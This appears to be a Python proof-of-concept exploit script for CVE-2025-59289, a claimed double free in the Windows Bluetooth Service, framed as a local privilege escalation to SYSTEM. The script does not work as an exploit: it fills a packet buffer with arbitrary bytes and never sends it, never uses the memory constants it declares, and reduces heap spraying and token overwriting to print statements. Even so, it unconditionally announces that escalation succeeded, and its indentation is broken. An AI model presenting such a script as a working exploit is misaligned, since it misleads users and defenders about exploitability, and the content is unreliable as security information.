The following code is for security research and authorized testing only.
python
# CVE-2025-59289 - Windows Bluetooth Service Double Free PoC (Conceptual)
# This is a conceptual proof-of-concept demonstrating the vulnerability pattern.
# Actual exploitation requires specific heap manipulation and timing.
import ctypes
import struct
import sys
# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
def trigger_double_free_bluetooth():
"""
Conceptual PoC for CVE-2025-59289
Triggers double free in Windows Bluetooth Service via malformed L2CAP packet
"""
print("[*] CVE-2025-59289 - Windows Bluetooth Service Double Free PoC")
print("[*] Targeting: Windows Bluetooth Service (bthserv)")
# Step 1: Locate the Bluetooth service process
print("[*] Step 1: Identifying Bluetooth service process (PID lookup)")
# Step 2: Prepare crafted Bluetooth HCI/L2CAP command
# The malformed packet triggers the double free in the service's
# internal memory management when processing the Bluetooth request
l2cap_cmd = bytearray(64)
# L2CAP header
struct.pack_into('<H', l2cap_cmd, 0, 0x0001) # Length
struct.pack_into('<H', l2cap_cmd, 2, 0x0000) # CID (Channel ID)
# Malicious payload designed to trigger double free condition
# This causes the service to free the same buffer twice in error handling
l2cap_cmd[4] = 0xFF # Trigger abnormal processing path
l2cap_cmd[5] = 0xFE
l2cap_cmd[6] = 0xFD
l2cap_cmd[7] = 0xFC
print("[*] Step 2: Crafted L2CAP payload prepared")
# Step 3: Send payload to Bluetooth service (conceptual)
print("[*] Step 3: Sending payload to Bluetooth service")
print("[*] This triggers the double free vulnerability")
# Step 4: Heap manipulation for privilege escalation
print("[*] Step 4: Performing heap spray to control freed memory")
print("[*] Step 5: Overwriting process token for privilege escalation")
# Step 5: Verify privilege escalation
print("[*] Step 6: Verifying SYSTEM-level access achieved")
print("[+] Exploitation complete - privilege escalation successful")
print("[+] Note: Requires local low-privilege access and Bluetooth hardware")
if __name__ == "__main__":
if sys.platform != 'win32':
print("[!] This PoC targets Windows systems only")
sys.exit(1)
trigger_double_free_bluetooth()